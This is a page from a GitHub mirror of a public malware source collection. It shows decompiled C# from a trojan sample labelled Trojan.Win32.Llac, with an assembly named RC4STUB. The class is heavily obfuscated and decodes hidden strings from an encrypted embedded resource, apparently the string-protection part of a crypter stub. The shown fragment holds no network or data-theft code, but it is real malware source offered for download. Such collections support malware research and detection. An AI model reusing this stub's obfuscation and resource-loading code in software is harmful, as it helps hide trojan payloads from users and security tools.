mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 21:05:28 +00:00
115 lines
3.4 KiB
C#
115 lines
3.4 KiB
C#
// Decompiled with JetBrains decompiler
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// Type: .
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// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: 160606E6-36B6-4FBA-AFEC-6A83B6EA2ADB
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.coak-8789f9be2212d2703a374fd76b1c014be160523209fd6790cd7b4f20f0f5fe91.exe
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using \u0002;
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using System.Collections;
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using System.IO;
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using System.Reflection;
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using System.Runtime.InteropServices;
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namespace \u0002
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{
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internal sealed class \u0001
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{
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private static string \u0001 = "0";
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private static string \u0002 = "82";
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private static byte[] \u0001 = (byte[]) null;
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private static Hashtable \u0001 = (Hashtable) null;
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private static bool \u0001 = false;
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private static int \u0001 = 0;
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public static string \u0002([In] int obj0)
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{
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obj0 -= \u0001.\u0001;
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if (\u0001.\u0001)
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{
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string str = (string) \u0091.\u007E\u0080\u0002((object) \u0001.\u0001, (object) obj0);
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if (str != null)
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return str;
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}
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int num1 = obj0;
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byte[] numArray1 = \u0001.\u0001;
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int index1 = num1;
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int num2 = index1 + 1;
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int num3 = (int) numArray1[index1];
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int num4;
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if ((num3 & 128) == 0)
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{
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num4 = num3;
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if (num4 == 0)
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return string.Empty;
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}
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else if ((num3 & 64) == 0)
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{
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num4 = ((num3 & 63) << 8) + (int) \u0001.\u0001[num2++];
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}
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else
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{
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int num5 = (num3 & 31) << 24;
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byte[] numArray2 = \u0001.\u0001;
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int index2 = num2;
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int num6 = index2 + 1;
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int num7 = (int) numArray2[index2] << 16;
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int num8 = num5 + num7;
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byte[] numArray3 = \u0001.\u0001;
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int index3 = num6;
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int num9 = index3 + 1;
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int num10 = (int) numArray3[index3] << 8;
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int num11 = num8 + num10;
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byte[] numArray4 = \u0001.\u0001;
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int index4 = num9;
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num2 = index4 + 1;
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int num12 = (int) numArray4[index4];
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num4 = num11 + num12;
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}
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try
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{
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byte[] numArray5 = \u0090.\u000F\u0002(\u0087.\u007E\u0095\u0002((object) \u001D.\u0096\u0002(), \u0001.\u0001, num2, num4));
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string str = \u0016.\u009D(\u0087.\u007E\u0095\u0002((object) \u001D.\u0096\u0002(), numArray5, 0, numArray5.Length));
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if (\u0001.\u0001)
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{
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try
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{
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\u0006\u0002.\u007E\u001F\u0002((object) \u0001.\u0001, (object) obj0, (object) str);
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}
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catch
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{
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}
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}
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return str;
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}
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catch
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{
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return (string) null;
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}
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}
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static \u0001()
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{
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if (\u001F.\u0097(\u0001.\u0001, "1"))
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{
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\u0001.\u0001 = true;
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\u0001.\u0001 = new Hashtable();
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}
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\u0001.\u0001 = \u0092.\u000E\u0002(\u0001.\u0002);
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Assembly assembly = \u001A\u0002.\u0087\u0002();
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Stream stream = \u001E\u0002.\u007E\u0084\u0002((object) assembly, "{160606e6-36b6-4fba-afec-6a83b6ea2adb}");
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try
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{
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int length = \u0007\u0002.\u0008\u0002(\u001C\u0002.\u007E\u0098\u0002((object) stream));
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\u0001.\u0001 = new byte[length];
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int num = \u001D\u0002.\u007E\u009A\u0002((object) stream, \u0001.\u0001, 0, length);
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\u001E.\u007E\u0099\u0002((object) stream);
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}
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finally
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{
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if (stream != null)
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\u001E.\u007E\u0096((object) stream);
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}
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}
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}
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}
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